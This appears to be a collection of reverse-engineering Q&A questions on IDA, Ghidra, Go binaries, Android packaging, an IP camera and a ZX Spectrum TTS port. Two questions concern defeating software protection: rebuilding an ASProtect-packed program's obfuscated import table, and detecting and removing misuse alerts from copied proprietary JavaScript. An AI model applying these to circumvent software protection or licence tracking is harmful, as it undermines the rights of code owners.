+" +['binary']," Title: What exactly does the selectnbrecv function from Golang do?Body: I'm reverse engineering a Golang binary and came across the function selectnbrecv. However, I don't understand the documentation. I'll appreciate it if someone can explain to me the context and operation of the function. Thanks! +" +"['ida', 'decompilation', 'c++', 'injection']"," Title: Converting a data address offset to the equivalent struct in a C++ moduleBody: I have an offset to a property within a player class that I need to access data from. It's made of a specific struct that I have already assembled. IDA reports the accessing offset as so: +
v32 = ( v3 + 280 ) // v3 is the player in this case
+
+I want to convert this to the correct struct within my own C++ module so I can read a specific property of that struct. I can easily get the base address of the players but whenever I get the property it doesn't come out correct. +I have tried something of the following: +
playerData* lpData = reinterpret_cast<playerData*>((int)n_GetLocalPlayer() + 280);
+
+But the struct isn't correct. +There is NO doubt that the base address or offset are correct, as the function I reversed in IDA was short and well commented. I just need help casting it. +Thank you! +" +['unpacking']," Title: How to dump heap from packed program (unpack asprotect)Body: I have a packed program. I have found the oep of the program but the problem is every call to the system dll like kernel32, user32, ... change to a call to the heap. So the packer first allocate a big chunk of heap, copy the dll function to the heap and then instead of the call to dll it call the heap. +So my question is is there anyway to dump the heap to section? if not then how can i fix the iat in this situation? +Edit: After some experiments, i found that it use asprotect to pack. The iat got obfuscate, instead of call to the function it call to the heap and then the heap will jump to another heap which contain a part of the function and then jump to the real function. So the problem now boil down to how can i fix the iat for it to run? I did set hardware breakpoint on the time the iat create but the function doesn't get written in the iat +" +"['disassembly', 'mips']"," Title: IPCamera based on RA5350 CRC error on startupBody: I have an old IP camera that no longer works, doesn't start the ipcamn executable (application that also listens for port 80 connections). +Therefore I cannot access it via the network and the camera doesn't perform its intended purpose. +It is based on a RA5350 chip, if I attach a serial to USB adapter to it I can see it booting, then it outputs: +
Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0
+Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0
+Data CRC 01e4cb65 != calculated CRC ed5f8089 for node at 00240af0
+
+The system is usable, I can move around, I even copied the contents in search of which program outputs this error. +I have found that the camera uses two processes videocatch and ipcamn (this is true according to other internet resources as well). +The ipcamn is the process outputting these errors. However upon disassembling or looking at the strings contained in it or the .so files on the system I cannot find anything related to the error above. +I'd like to trace the error to its cause and see if it's fixable. +Any ideas? +
# cat /proc/cpuinfo
+system type             : Ralink SoC
+processor               : 0
+cpu model               : MIPS 24K V4.12
+BogoMIPS                : 239.61
+wait instruction        : yes
+microsecond timers      : yes
+tlb_entries             : 32
+extra interrupt vector  : yes
+hardware watchpoint     : yes
+ASEs implemented        : mips16 dsp
+VCED exceptions         : not available
+VCEI exceptions         : not available
+
+I also tried to rule out HW problems by copying the binaries over to a Debian MIPS system in QEMU, but I cannot run the executables on MIPS nor on MIPSEL: +
user@debian-mips:~/mnt/bin$ ./ipcamn 
+-bash: ./ipcamn: cannot execute binary file
+
+
root@debian-mipsel:/home/user/mnt/bin# ./ipcamn 
+bash: ./ipcamn: No such file or directory
+
+
root@debian-mipsel:/home/user/mnt/bin# file ipcamn 
+ipcamn: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
+
+
+The file exists and is executable. +" +"['ida', 'idapython']"," Title: Find assembly in binary with ida pythonBody: I want to find 2 consecutive instructions with Ida python +move r2,r3 ; move r2 r4 +What is the easy way to find the addresses of that with Ida python? +I can Iterate on all Functions and for each function get dissasembly by idc.GetDisasm and then looking for the value but it's take lot of time. +Is there any smart and faser way? +" +"['ida', 'idapython', 'buffer-overflow', 'stack']"," Title: Analyze stack with IDAPythonBody: In Ida pseudo-code when I press at stack's variable I can see the place of this variable in stack. +
char buffer[XXX]; // [sp+YYh]
+
+How can I get that information (buffer size and place of this buffer in stack) in IDAPython? +" +['arm64']," Title: What to look for in the ARM64 assembly of a Golang binary to find the list of kill signals that affect the binary execution?Body: I'm reverse engineering an ARM64 Golang binary built with musl and I've already detected kill -10,12,15 pid as the signals which interact with it, where 10 and 12 represent user-defined signals. I think there must be other signals as well and I wish to detect them. In particular, may there be other user-defined signals or only 2 SIGUSRs are available no matter what? Since signals are being sent to the binary during runtime I wanted to know if there are signature functions in Golang's runtime that may be imported in the binary and represent signal handling functionalities in the binary. +" +['assembly']," Title: What are my options to add instructions to a binary?Body: I am fairly new to reversing so apologies in advance if any terminology is incorrect. +I am currently using ghidra on windows to look at the instructions/decompilation of a binary and I am looking to add some instructions to an existing function to change its behaviour. In this case, it is fairly trivial as I only want to add a fixed value to an existing function parameter, but I would also like some information on more advanced cases where the inserted code is slightly more complex. +I made a small test program to test this out and I managed to add the instruction by editing the binary in a hex editor and simply shifting the function bytes and inserting my own. However I realized that this is only possible because there was a bunch of empty memory following the function, so I could just shift them all down but this isn't always the case. +
                         **************************************************************
+                         *                          FUNCTION                          *
+                         **************************************************************
+                         ulonglong __fastcall FUN_140011810(int param_1, int para
+         ulonglong         RAX:8          <RETURN>
+         int               ECX:4          param_1
+         int               EDX:4          param_2
+         undefined4        Stack[0x10]:4  local_res10                             XREF[3]:     140011810(W), 
+                                                                                               140011835(R), 
+                                                                                               140011848(R)  
+         undefined4        Stack[0x8]:4   local_res8                              XREF[2]:     140011814(W), 
+                                                                                               14001184e(R)  
+         undefined1        Stack[-0x10]:1 local_10                                XREF[1]:     140011867(*)  
+         undefined4        Stack[-0xf4]:4 local_f4                                XREF[4]:     140011858(W), 
+                                                                                               14001185b(R), 
+                                                                                               140011861(W), 
+                                                                                               140011864(R)  
+         undefined1        Stack[-0xf8]:1 local_f8                                XREF[1]:     140011821(*)  
+                         FUN_140011810                                   XREF[1]:     thunk_FUN_140011810:14001104b(T), 
+                                                                                      thunk_FUN_140011810:14001104b(j)  
+   140011810 89 54 24 10     MOV        dword ptr [RSP + local_res10],param_2
+   140011814 89 4c 24 08     MOV        dword ptr [RSP + local_res8],param_1
+   140011818 55              PUSH       RBP
+   140011819 57              PUSH       RDI
+   14001181a 48 81 ec        SUB        RSP,0x108
+             08 01 00 00
+   140011821 48 8d 6c        LEA        RBP=>local_f8,[RSP + 0x20]
+             24 20
+   140011826 48 8b fc        MOV        RDI,RSP
+   140011829 b9 42 00        MOV        param_1,0x42
+             00 00
+   14001182e b8 cc cc        MOV        EAX,0xcccccccc
+             cc cc
+   140011833 f3 ab           STOSD.REP  RDI
+   140011835 8b 8c 24        MOV        param_1,dword ptr [RSP + local_res10]
+             28 01 00 00
+   14001183c 48 8d 0d        LEA        param_1,[DAT_140021008]                          = 01h
+             c5 f7 00 00
+   140011843 e8 44 f8        CALL       thunk_FUN_140011e80                              undefined thunk_FUN_140011e80(ch
+             ff ff
+   140011848 8b 85 08        MOV        EAX,dword ptr [RBP + local_res10]
+             01 00 00
+   14001184e 8b 8d 00        MOV        param_1,dword ptr [RBP + local_res8]
+             01 00 00
+   140011854 03 c8           ADD        param_1,EAX
+   140011856 8b c1           MOV        EAX,param_1
+   140011858 89 45 04        MOV        dword ptr [RBP + local_f4],EAX
+   14001185b 8b 45 04        MOV        EAX,dword ptr [RBP + local_f4]
+   14001185e 83 c0 0a        ADD        EAX,0xa
+   140011861 89 45 04        MOV        dword ptr [RBP + local_f4],EAX
+   140011864 8b 45 04        MOV        EAX,dword ptr [RBP + local_f4]
+   140011867 48 8d a5        LEA        RSP=>local_10,[RBP + 0xe8]
+             e8 00 00 00
+   14001186e 5f              POP        RDI
+   14001186f 5d              POP        RBP
+   140011870 c3              RET
+   140011871 cc              ??         CCh
+   140011872 cc              ??         CCh
+   140011873 cc              ??         CCh
+   140011874 cc              ??         CCh
+   140011875 cc              ??         CCh
+   140011876 cc              ??         CCh
+   140011877 cc              ??         CCh
+   140011878 cc              ??         CCh
+   140011879 cc              ??         CCh
+   14001187a cc              ??         CCh
+   14001187b cc              ??         CCh
+   14001187c cc              ??         CCh
+   14001187d cc              ??         CCh
+   14001187e cc              ??         CCh
+   14001187f cc              ??         CCh
+   140011880 cc              ??         CCh
+   140011881 cc              ??         CCh
+   140011882 cc              ??         CCh
+
+Specifically, 14001185e 83 c0 0a ADD EAX,0xa +I could duplicate this instruction and change 0xa to alter the output value. +In the more complex binary I have a larger function with similar parameters, except there is no additional memory at the end of the function so this approach to shift the remaining bytes wouldn't work as there is another function directly below. I also can't remove any of the current instructions to make space as that might break existing functionality. There is plenty of empty memory elsewhere in the binary so I thought of adding a jmp instruction to perform some instructions, and then jumping back but some of the instructions use local variables so I'm unsure if this will work. +So given the above example, and none of the extra memory at the end of the function, how can I insert some custom instructions? +" +"['disassembly', 'android']"," Title: Unpack, modify and rebuild an Android App Bundles (.aab) fileBody: I would like to unpack an .aab file, decompile/recompile the classes.dex (baksmali/smali), edit the manifest and, finally, generate a new .aab file. +Basically, I am looking for an apktool for .aab +" +"['android', 'java', 'usb', 'libraries']"," Title: How can I see when a library is being called in Android?Body: Apologies for a beginner-esque question, but I am reverse engineering an Android application, that is most probably using the libusbhost.so library to interface with USB devices via Java Native Interface. +How would I go about doing so? +" +['assembly']," Title: How JNE work in Ollydbg?Body: I have a question about JNE. +I use ollydbg and ReverseMe tutorial. +In JNE condition, the zero flag is equal to 1. and it mean the arithmetic result is zero. Right? +The Z=1 meaning the condition is true and it want to jump to Error message??? +and If i change the zero flag to 0 (Z=0), it mean false? and ignore the Error message?? +JNE = Jump If not Equal. So whats that mean? if not equal to .. ? What does it compare to? +i confused ... + +" +"['obfuscation', 'javascript']"," Title: Methods to alert inappropriate use of JS codeBody: Let's say we have a JS code library that is not for sale, just internal. Of course, anyone who can access the website will be able to download that and reuse it. +To avoid others to reuse that library, the first thing to do is obfuscate it, but what about the alternative methods to warn the owner about the inappropriate use of that library? +This JS code is behind a login website, so it's not possible to just use it adding a: +
<script src="https://original.web.site/script/library.js"></script>
+
+(it will give a 404 error) +So it must be downloaded and installed in a new website. In this case, I think that it's possible to just add a <img src="http://link.to.owner.site/pixel.jpg" /> that alerts the owner about the inappropriate use of the library (note the use of http protocol that shows the referer link). +To find and block this kind of warnings, my first idea is to test the library in localhost and check if it is accessing to external URLs (Developer Tools in Google Chrome provide this functionality). +My question is: Is there any similar method to warn the owner about inappropriate uses of the library? How to effectively find this kind of warnings and get rid of them? +" +"['ida', 'assembly', 'arm64', 'aarch64']"," Title: What do the following AARCH64 LDR and STR instructions do exactly?Body: The following instructions are part of a IDA's disassembly of an AARCH64 binary. While it is fairly obvious that the # represent pure numbers and the [] probably refer to the memory address referred to by the elements in the [], I don't quite understand what is the role of the ",". I appreciate a description of the following load and store instructions. +
LDR             X1, [X28,#0x10]
+STR             X0, [SP,#0x30+arg_8]
+
+" +"['c++', 'audio']"," Title: Understand/Reverse simple (but good quality) TTS engineBody: For quite a long time I wanted to add TTS (text-to-speech) to my MCU applications and I tried quite few of them with more or less success always hitting a wall that either quality is not good or needed CPU power is too much. +However I recently found a very old TTS from ZX Spectrum (in the link is more info and also link to original tap file repository) that is really good and simple (just 801 Bytes of Z80 asm code). So I did it a try , disassembled it (extract the basic and asm from tap file by my own utilities and disassembled with YAZD) and port the result to C++ with complete success. It sound good on both PC and MCU with very little CPU power needed. It produces 1 bit digital sound. +

Here is the C++ source code I made:

+ +
//---------------------------------------------------------------------------
+//---  ZX Hlasovy program voicesoft 1985  -----------------------------------    
+//--- ported to C++ by Spektre ver: 1.001 -----------------------------------
+//---------------------------------------------------------------------------
+#ifndef _speech_h
+#define _speech_h
+//---------------------------------------------------------------------------
+// API:
+void sound_out(bool on);    // you need to code this function (should add a sample to sound output)
+void say_text(char *txt);   // say null terminated text, "a'c'" -> "áè"
+//---------------------------------------------------------------------------
+// internals:
+void say_char(char chr);    // internal function for single character (do not use it !!!)
+void say_wait(WORD ws);     // internal wait (do not use it !!!)
+//---------------------------------------------------------------------------
+// vars:
+bool _sound_on=false;       // global state of the reproductor/sound output
+//---------------------------------------------------------------------------
+// config: (recomputed for 44100 Hz samplerate)
+const static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)
+const static WORD t_pause=183;      // [samples] pause between chars
+const static WORD t_space=2925;     // [samples] pause ` `
+const static WORD t_comma=5851;     // [samples] pause `,`
+//---------------------------------------------------------------------------
+// tables:
+const static BYTE tab_char0[52]=    //  0..25 normal alphabet A..Z
+    {                               // 26..51 diacritic alphabet A..Z
+    0x00,0x02,0x06,0x0a,0x0e,0x10,0x12,0x16,0x1a,0x1c,0x22,0x26,0x2a,0x2e,0x32,
+    0x34,0x38,0x42,0x48,0x4a,0x4e,0x50,0x50,0x56,0x1a,0x5c,0x64,0x66,0x70,0x74,
+    0x7a,0x7c,0xc2,0x84,0x86,0xc2,0xc2,0xc2,0x88,0x8c,0x92,0x94,0xc2,0x9e,0xa6,
+    0xa8,0xae,0xb0,0xc2,0xc2,0x86,0xbc
+    };
+const static BYTE tab_char1[196]=
+    {
+    0x36,0x81,0x34,0x19,0x31,0xab,0x18,0x19,0x91,0xc3,0x34,0x19,0x31,0xe0,0x36,
+    0x84,0x92,0xe3,0x35,0x19,0x51,0x9c,0x31,0x31,0x34,0x96,0x36,0x87,0x33,0x3a,
+    0x32,0x3d,0x32,0xc0,0x18,0x19,0x51,0x9c,0x33,0x22,0x31,0xb1,0x31,0x31,0x36,
+    0xa5,0x31,0x31,0x36,0xa8,0x36,0x8a,0x18,0x19,0x31,0xab,0x18,0x19,0x51,0x1c,
+    0x34,0x31,0x32,0x34,0x32,0xb7,0x22,0x10,0x13,0x19,0x21,0xae,0x92,0xc3,0x18,
+    0x19,0x31,0xe0,0x36,0x8d,0x34,0x31,0x32,0x34,0x32,0xb7,0x18,0x19,0x71,0x1c,
+    0x92,0xc3,0x32,0x31,0x32,0x43,0x32,0x44,0x32,0xc5,0x3f,0x81,0x34,0x19,0x31,
+    0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x18,0x19,0x91,0xd3,0x33,0x19,0x71,0x6d,
+    0x32,0x93,0x3e,0x84,0x92,0x63,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x92,0xf3,0x3e,
+    0x87,0x31,0x31,0x36,0x25,0x31,0x31,0x35,0x25,0x32,0x93,0x3e,0x8a,0x18,0x19,
+    0x31,0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x13,0x19,0x32,0x60,0x13,0x19,0x71,
+    0xdd,0x92,0xd3,0x18,0x19,0x71,0x6d,0x32,0x93,0x3e,0x8d,0x34,0x31,0x32,0x34,
+    0x32,0x37,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x32,0x53,0x32,0x54,0x32,0xd5,0x1a,
+    0x99
+    };
+const static BYTE tab_char2[262]=
+    {
+    0x1a,0x99,0xe1,0xc3,0xe1,0xc7,0x8f,0x0f,0xf8,0x03,0x0f,0x07,0xc1,0xe3,0xff,
+    0x40,0x17,0xff,0x00,0x03,0xf8,0x7c,0xc1,0xf1,0xf8,0x03,0xfe,0x00,0x7f,0xfc,
+    0x00,0x03,0xf8,0x0f,0x09,0xf1,0xfe,0x03,0xef,0x40,0x17,0xff,0x00,0x03,0xe1,
+    0x5c,0x35,0xc5,0xaa,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x8e,0x38,0x73,
+    0xcf,0xf8,0x78,0xc3,0xdf,0x1c,0xf1,0xc7,0xfe,0x03,0xc0,0xff,0x00,0x00,0xff,
+    0xf8,0x00,0x7f,0xf8,0x03,0xff,0xf0,0x01,0xff,0xe0,0x03,0xaa,0xca,0x5a,0xd5,
+    0x21,0x3d,0xfe,0x1f,0xf8,0x00,0x00,0x1f,0xff,0xfc,0x20,0x00,0x00,0x03,0xff,
+    0xff,0x08,0x79,0x00,0x02,0xff,0xe1,0xc7,0x1f,0xe0,0x03,0xff,0xd0,0x01,0xff,
+    0xf0,0x03,0x7f,0x01,0xfa,0x5f,0xc0,0x07,0xf8,0x0f,0xc0,0xff,0x00,0x42,0xaa,
+    0xa5,0x55,0x5a,0xaa,0xaa,0x5a,0xa5,0x5a,0xaa,0x55,0x55,0xaa,0xaa,0xa5,0x55,
+    0xaa,0x5a,0xaa,0xa5,0x55,0xaa,0xaa,0xa5,0x55,0xaa,0xaa,0x55,0xa5,0xa5,0xaa,
+    0xa5,0xb7,0x66,0x6c,0xd8,0xf9,0xb3,0x6c,0xad,0x37,0x37,0x66,0xfc,0x9b,0x87,
+    0xf6,0xc0,0xd3,0xb6,0x60,0xf7,0xf7,0x3e,0x4d,0xfb,0xfe,0x5d,0xb7,0xde,0x46,
+    0xf6,0x96,0xb4,0x4f,0xaa,0xa9,0x55,0xaa,0xaa,0xa5,0x69,0x59,0x9a,0x6a,0x95,
+    0x55,0x95,0x55,0x6a,0xa5,0x55,0xa9,0x4d,0x66,0x6a,0x92,0xec,0xa5,0x55,0xd2,
+    0x96,0x55,0xa2,0xba,0xcd,0x00,0x66,0x99,0xcc,0x67,0x31,0x8e,0x66,0x39,0xa6,
+    0x6b,0x19,0x66,0x59,0xc6,0x71,0x09,0x67,0x19,0xcb,0x01,0x71,0xcc,0x73,0x19,
+    0x99,0xcc,0xc6,0x67,0x19,0x9a,0xc6,
+    };
+const static BYTE tab_char3[5]={ 0x00,0x2e,0x5a,0x5e,0xfe };
+//---------------------------------------------------------------------------
+void say_text(char *txt)
+    {
+    WORD hl;
+    BYTE a,b,c;
+    for (b=0xBB,hl=0;;hl++)     // process txt
+        {
+        a=b;                    // a,c char from last iteration
+        c=b;
+        if (!a) break;          // end of txt
+        b=txt[hl];              // b actual char
+        if ((b>='a')&&(b<='z')) b=b+'A'-'a'; // must be uppercase
+        a=c;
+        if ((a>='A')&&(a<='Z'))
+            {
+            // handle diacritic
+            if (a!='C'){ a=b; if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}
+            else{
+                a=b;
+                if (a=='H'){ a+=0x1A; b=0xBB; }
+                 else{ if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}
+                }
+            // syntetize sound
+            say_char(a);
+            continue;
+            }
+        if (a==',')say_wait(t_comma);
+        if (a==' ')say_wait(t_space);
+        }
+    }
+//----------------------------------------------------------------------
+void say_wait(WORD ws)
+    {
+    for (;ws;ws--) sound_out(_sound_on);
+    }
+//----------------------------------------------------------------------
+void say_char(char chr) // chr =  < `A` , `Z`+26 >
+    {
+    WORD hl,hl0;
+    BYTE a,b,c,cy,cy0,ws;
+    hl=tab_char0[chr-'A'];
+    for (;;)
+        {
+        c =tab_char1[hl  ]&0x0F;
+        c|=tab_char1[hl+1]&0x80;
+        for (;;)
+            {
+            a=tab_char1[hl];
+            a=(a>>5)&7;
+            cy=a&1;
+            hl0=hl;
+            if (a!=0)
+                {
+                b=tab_char3[a];
+                hl=hl0;
+                a=tab_char1[hl+1];
+                hl0=hl;
+                cy0=(a>>7)&1;
+                a=((a<<1)&254)|cy;
+                cy=cy0;
+                hl=a;
+                a=0x80;
+                for (;;)
+                    {
+                    _sound_on=(a&tab_char2[hl]);
+                    for (ws=t_speed;ws;ws--) sound_out(_sound_on);
+                    b--;
+                    if (!b) break;
+                    cy=a&1;     
+                    a=((a>>1)&127)|(cy<<7);
+                    if (!cy) continue;
+                    hl++;
+                    }
+                }
+            a^=a;
+            say_wait(t_pause);
+            c--;
+            a=c&0x0F;
+            hl=hl0; 
+            if (a==0) break;
+            }
+        cy0=(c>>7)&1;
+        a=((c<<1)&254)|cy;
+        cy=cy0;
+        if (cy) return;
+        hl+=2;
+        }
+    }
+//---------------------------------------------------------------------------
+#endif
+//---------------------------------------------------------------------------
+
+This works perfectly however I would like to understand how the sound is synthetized. I can not make any sense of it... is it some sort of compression of samples or uses formant filter to synthetize sound or combines them or its something else? +So I want to dissect the say_char function to make sense/meaning of the tab_char?[] LUT tables. +

[Edit2] thanks to Edward new more C/C++ like version

+I rearranged the tables and added a lot of comment info to be more didactical and possible to tweak: + +
//---------------------------------------------------------------------------
+//---  ZX Hlasovy program voicesoft 1985  -----------------------------------
+//--- ported to C++ by Spektre ver: 2.001 -----------------------------------
+//---------------------------------------------------------------------------
+#ifndef _speech_h
+#define _speech_h
+//---------------------------------------------------------------------------
+// API:
+void sound_out(bool on);    // you need to code this function (should add a sample to sound output)
+void say_text(char *txt);   // say null terminated text, "a'c'" -> "áč"
+//---------------------------------------------------------------------------
+// internals:
+void say_char(char chr);    // internal function for single character (do not use it !!!)
+void say_wait(WORD ws);     // internal wait (do not use it !!!)
+//---------------------------------------------------------------------------
+// vars:
+bool _sound_on=false;       // global state of the reproductor/sound output
+//---------------------------------------------------------------------------
+// config: (recomputed for 44100 Hz samplerate)
+const static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)
+const static WORD t_pause=183;      // [samples] pause between chars
+const static WORD t_space=2925;     // [samples] pause ` `
+const static WORD t_comma=5851;     // [samples] pause `,`
+//---------------------------------------------------------------------------
+// point to RLE encoded character sound (RLE_ix)
+const static BYTE tab_char[52]=
+    {
+//   A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z
+     0, 1, 3, 5, 7, 8, 9,11,13,14,17,19,21,23,25,26,28,33,36,37,39,40,40,43,13,46,
+//   A' B' C' D' E' F' G' H' I' J' K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z'
+    50,51,56,58,61,62,97,66,67,97,97,97,68,70,73,74,97,79,83,84,87,88,97,97,67,94,
+    };
+// RLE encoded character sounds
+const static WORD tab_RLE[98]=
+    {
+    //  15 14 13 12 11 10  9  8  7  6  5  4  3  2  1  0
+    // end -----num------ ------------PCM_ix-----------
+                                                // ix char
+    0x9804,                                     //  0 A
+    0x103D,0x8473,                              //  1 B
+    0x203C,0x84AB,                              //  3 C
+    0x103D,0x8524,                              //  5 D
+    0x980B,                                     //  7 E
+    0x892B,                                     //  8 F
+    0x143D,0x8444,                              //  9 G
+    0x0481,0x9035,                              // 11 H
+    0x9812,                                     // 13 I,Y
+    0x0C96,0x089D,0x88A4,                       // 14 J
+    0x203C,0x8444,                              // 17 K
+    0x0C5E,0x8481,                              // 19 L
+    0x0481,0x9865,                              // 21 M
+    0x0481,0x986C,                              // 23 N
+    0x9819,                                     // 25 O
+    0x203C,0x8473,                              // 26 P
+    0x203C,0x0444,0x1081,0x0888,0x888F,         // 28 Q
+    0x0827,0x0C3C,0x847A,                       // 33 R
+    0x88AB,                                     // 36 S
+    0x203C,0x8524,                              // 37 T
+    0x9820,                                     // 39 U
+    0x1081,0x0888,0x888F,                       // 40 V,W
+    0x203C,0x0451,0x88AB,                       // 43 X
+    0x0881,0x08CC,0x08D3,0x88DA,                // 46 Z
+    0xBC04,                                     // 50 A'
+    0x103D,0x0473,0x0C96,0x089D,0x88A4,         // 51 B' *
+    0x203C,0x84E1,                              // 56 C'
+    0x0C3D,0x054C,0x882E,                       // 58 D'
+    0xB80B,                                     // 61 E'
+    0x092B,0x0C96,0x089D,0x88A4,                // 62 F' *
+    0x8959,                                     // 66 CH,H'
+    0xB812,                                     // 67 I',Y'
+    0x0481,0x1865,                              // 68 M' overlap with N' *
+                  0x0481,0x1465,0x882E,         // 70 N' overlap with M'
+    0xB819,                                     // 73 O'
+    0x203C,0x0473,0x0C96,0x089D,0x88A4,         // 74 P' *
+    0x0C3C,0x0924,0x0C3C,0x8517,                // 79 R'
+    0x88E1,                                     // 83 S'
+    0x203C,0x054C,0x882E,                       // 84 T'
+    0xB820,                                     // 87 U'
+    0x1081,0x0888,0x088F,0x0C96,0x089D,0x88A4,  // 88 V',W' *
+    0x0902,0x0909,0x8910,                       // 94 Z'
+    0xA83C,                                     // 97 G',J',K',L',Q',X',W' (no sound)
+    // missing: Ľ/Ĺ,Ř/Ŕ,Ú/ˇU,ô,ä,é/ě
+    // accent?: B',F',M',P',V'
+    // nosound: G',J',K',L',Q',X',W'
+    };
+// formant sounds sampled as 1bit PCM
+const static BYTE tab_PCM[]=
+    {
+// bits,1bit PCM samples                            //  ix,sample in binary
+     24,0x1A,0x99,0xE1,                             //   0,000110101001100111100001
+     46,0xC3,0xE1,0xC7,0x8F,0x0F,0xF8,              //   4,110000111110000111000111100011110000111111111000
+     46,0x03,0x0F,0x07,0xC1,0xE3,0xFF,              //  11,000000110000111100000111110000011110001111111111
+     46,0x40,0x17,0xFF,0x00,0x03,0xF8,              //  18,010000000001011111111111000000000000001111111000
+     46,0x7C,0xC1,0xF1,0xF8,0x03,0xFE,              //  25,011111001100000111110001111110000000001111111110
+     46,0x00,0x7F,0xFC,0x00,0x03,0xF8,              //  32,000000000111111111111100000000000000001111111000
+     46,0x0F,0x09,0xF1,0xFE,0x03,0xEF,              //  39,000011110000100111110001111111100000001111101111
+     46,0x40,0x17,0xFF,0x00,0x03,0xE1,              //  46,010000000001011111111111000000000000001111100001
+     46,0x5C,0x35,0xC5,0xAA,0x35,0x00,              //  53,010111000011010111000101101010100011010100000000
+      0,                                            //  60,
+     46,0x00,0x00,0x00,0x00,0x00,0x3E,              //  61,000000000000000000000000000000000000000000111110
+     90,0x3E,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,    //  68,0011111010001110001110000111001111001111111110000111100011000011
+        0xDF,0x1C,0xF1,0xC7,                        //     11011111000111001111000111000111
+     94,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,0xDF,    //  81,1000111000111000011100111100111111111000011110001100001111011111
+        0x1C,0xF1,0xC7,0xFE,                        //     00011100111100011100011111111110
+     46,0x03,0xC0,0xFF,0x00,0x00,0xFF,              //  94,000000111100000011111111000000000000000011111111
+     46,0xF8,0x00,0x7F,0xF8,0x03,0xFF,              // 101,111110000000000001111111111110000000001111111111
+     46,0xF0,0x01,0xFF,0xE0,0x03,0xAA,              // 108,111100000000000111111111111000000000001110101010
+     46,0xCA,0x5A,0xD5,0x21,0x3D,0xFE,              // 115,110010100101101011010101001000010011110111111110
+     46,0x1F,0xF8,0x00,0x00,0x1F,0xFF,              // 122,000111111111100000000000000000000001111111111111
+     46,0xFC,0x20,0x00,0x00,0x03,0xFF,              // 129,111111000010000000000000000000000000001111111111
+     46,0xFF,0x08,0x79,0x00,0x02,0xFF,              // 136,111111110000100001111001000000000000001011111111
+     46,0xE1,0xC7,0x1F,0xE0,0x03,0xFF,              // 143,111000011100011100011111111000000000001111111111
+     46,0xD0,0x01,0xFF,0xF0,0x03,0x7F,              // 150,110100000000000111111111111100000000001101111111
+     46,0x01,0xFA,0x5F,0xC0,0x07,0xF8,              // 157,000000011111101001011111110000000000011111111000
+     46,0x0F,0xC0,0xFF,0x00,0x42,0xAA,              // 164,000011111100000011111111000000000100001010101010
+    254,0xAA,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,0xA5,    // 171,1010101010100101010101010101101010101010101010100101101010100101
+        0x5A,0xAA,0x55,0x55,0xAA,0xAA,0xA5,0x55,    //     0101101010101010010101010101010110101010101010101010010101010101
+        0xAA,0x5A,0xAA,0xA5,0x55,0xAA,0xAA,0xA5,    //     1010101001011010101010101010010101010101101010101010101010100101
+        0x55,0xAA,0xAA,0x55,0xA5,0xA5,0xAA,0xA5,    //     0101010110101010101010100101010110100101101001011010101010100101
+     46,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,              // 204,101001010101010101011010101010101010101001011010
+     46,0x5A,0xAA,0xAA,0x5A,0xA5,0x5A,              // 211,010110101010101010101010010110101010010101011010
+     46,0xAA,0x5A,0xA5,0x5A,0xAA,0x55,              // 218,101010100101101010100101010110101010101001010101
+    254,0xB7,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,0xAD,    // 225,1011011101100110011011001101100011111001101100110110110010101101
+        0x37,0x37,0x66,0xFC,0x9B,0x87,0xF6,0xC0,    //     0011011100110111011001101111110010011011100001111111011011000000
+        0xD3,0xB6,0x60,0xF7,0xF7,0x3E,0x4D,0xFB,    //     1101001110110110011000001111011111110111001111100100110111111011
+        0xFE,0x5D,0xB7,0xDE,0x46,0xF6,0x96,0xB4,    //     1111111001011101101101111101111001000110111101101001011010110100
+     46,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,              // 258,011001100110110011011000111110011011001101101100
+     46,0xD8,0xF9,0xB3,0x6C,0xAD,0x37,              // 265,110110001111100110110011011011001010110100110111
+     46,0xB3,0x6C,0xAD,0x37,0x37,0x66,              // 272,101100110110110010101101001101110011011101100110
+     94,0x3E,0x4D,0xFB,0xFE,0x5D,0xB7,0xDE,0x46,    // 279,0011111001001101111110111111111001011101101101111101111001000110
+        0xF6,0x96,0xB4,0x4F,                        //     11110110100101101011010001001111
+     46,0xDE,0x46,0xF6,0x96,0xB4,0x4F,              // 292,110111100100011011110110100101101011010001001111
+    254,0x4F,0xAA,0xA9,0x55,0xAA,0xAA,0xA5,0x69,    // 299,0100111110101010101010010101010110101010101010101010010101101001
+        0x59,0x9A,0x6A,0x95,0x55,0x95,0x55,0x6A,    //     0101100110011010011010101001010101010101100101010101010101101010
+        0xA5,0x55,0xA9,0x4D,0x66,0x6A,0x92,0xEC,    //     1010010101010101101010010100110101100110011010101001001011101100
+        0xA5,0x55,0xD2,0x96,0x55,0xA2,0xBA,0xCD,    //     1010010101010101110100101001011001010101101000101011101011001101
+     94,0x6A,0x92,0xEC,0xA5,0x55,0xD2,0x96,0x55,    // 332,0110101010010010111011001010010101010101110100101001011001010101
+        0xA2,0xBA,0xCD,0x00,                        //     10100010101110101100110100000000
+    254,0x00,0x66,0x99,0xCC,0x67,0x31,0x8E,0x66,    // 345,0000000001100110100110011100110001100111001100011000111001100110
+        0x39,0xA6,0x6B,0x19,0x66,0x59,0xC6,0x71,    //     0011100110100110011010110001100101100110010110011100011001110001
+        0x09,0x67,0x19,0xCB,0x01,0x71,0xCC,0x73,    //     0000100101100111000110011100101100000001011100011100110001110011
+        0x19,0x99,0xCC,0xC6,0x67,0x19,0x9A,0xC6,    //     0001100110011001110011001100011001100111000110011001101011000110
+    };
